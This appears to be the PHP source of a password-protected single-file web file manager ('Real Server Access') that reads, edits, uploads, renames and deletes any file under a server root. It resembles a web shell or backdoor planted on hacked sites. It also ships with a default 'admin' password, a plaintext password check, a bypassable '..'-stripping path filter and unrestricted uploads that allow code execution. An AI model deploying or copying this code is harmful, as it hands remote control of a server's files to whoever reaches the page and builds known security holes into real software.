'admin', // GANTI PASSWORD DISINI 'root' => __DIR__, // Root direktori (bisa diganti misal: $_SERVER['DOCUMENT_ROOT']) 'upload_limit' => 100 * 1024 * 1024 // 100MB ]; // --- BACKEND API HANDLER --- // 1. Auth Check if (isset($_POST['req']) && $_POST['req'] === 'login') { if ($_POST['pass'] === $CONFIG['password']) { $_SESSION['cyber_auth'] = true; echo json_encode(['status' => true]); } else { echo json_encode(['status' => false]); } exit; } // 2. Logout if (isset($_POST['req']) && $_POST['req'] === 'logout') { session_destroy(); echo json_encode(['status' => true]); exit; } // Security Gate if (!isset($_SESSION['cyber_auth']) || $_SESSION['cyber_auth'] !== true) { // Jika request API tapi belum login if(isset($_POST['req']) || isset($_GET['req']) || isset($_GET['dl']) || isset($_GET['raw'])) { if(!empty($_POST) || isset($_GET['req'])) { echo json_encode(['error' => 'Unauthorized']); exit; } } } else { // --- AUTHORIZED ACTIONS --- // Helper: Resolve Path function get_path($p) { global $CONFIG; $p = str_replace('..', '', $p); // Basic anti-traversal $path = $CONFIG['root'] . ($p ? DIRECTORY_SEPARATOR . $p : ''); return $path; } // Helper: Recursive Delete function delTree($dir) { $files = array_diff(scandir($dir), array('.','..')); foreach ($files as $file) { (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); } return rmdir($dir); } // Action: List Files if (isset($_POST['req']) && $_POST['req'] === 'list') { $dir = isset($_POST['path']) ? $_POST['path'] : ''; $target = get_path($dir); $items = []; if (is_dir($target)) { $scan = scandir($target); foreach ($scan as $f) { if ($f === '.' || $f === '..') continue; $full = $target . DIRECTORY_SEPARATOR . $f; $items[] = [ 'id' => base64_encode($f), // ID unik sederhana 'name' => $f, 'type' => is_dir($full) ? 'folder' : 'file', 'path' => $dir, // Relative path untuk JS 'size' => is_dir($full) ? 'DIR' : round(filesize($full)/1024, 1) . ' KB', 'perms' => substr(sprintf('%o', fileperms($full)), -4) ]; } } echo json_encode($items); exit; } // Action: Read File if (isset($_POST['req']) && $_POST['req'] === 'read') { $target = get_path($_POST['path']); if(is_file($target)) echo file_get_contents($target); else echo "Error: File not found or is a directory."; exit; } // Action: Save File if (isset($_POST['req']) && $_POST['req'] === 'save') { $target = get_path($_POST['path']); $content = $_POST['content']; if(file_put_contents($target, $content) !== false) echo json_encode(['status'=>true]); else echo json_encode(['status'=>false, 'msg'=>'Write permission denied']); exit; } // Action: New Folder if (isset($_POST['req']) && $_POST['req'] === 'mkdir') { $target = get_path($_POST['path']); if(mkdir($target)) echo json_encode(['status'=>true]); else echo json_encode(['status'=>false]); exit; } // Action: New File if (isset($_POST['req']) && $_POST['req'] === 'mkfile') { $target = get_path($_POST['path']); if(file_put_contents($target, "") !== false) echo json_encode(['status'=>true]); else echo json_encode(['status'=>false]); exit; } // Action: Rename if (isset($_POST['req']) && $_POST['req'] === 'rename') { $old = get_path($_POST['old']); $new = get_path($_POST['new']); if(rename($old, $new)) echo json_encode(['status'=>true]); else echo json_encode(['status'=>false]); exit; } // Action: Delete if (isset($_POST['req']) && $_POST['req'] === 'delete') { $target = get_path($_POST['path']); $res = is_dir($target) ? delTree($target) : unlink($target); echo json_encode(['status'=>$res]); exit; } // Action: Upload if (isset($_FILES['file'])) { $target_dir = get_path($_POST['path']); $target_file = $target_dir . DIRECTORY_SEPARATOR . basename($_FILES["file"]["name"]); if(move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { echo "OK"; } else { echo "FAILED"; } exit; } // Action: Download if (isset($_GET['dl'])) { $file = get_path($_GET['dl']); if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } // Action: RAW VIEW (Fitur Baru) if (isset($_GET['raw'])) { $file = get_path($_GET['raw']); if (file_exists($file) && !is_dir($file)) { header('Content-Type: text/plain'); readfile($file); exit; } else { echo "File not found or is directory."; exit; } } } ?>
Real Server Access
Action completed.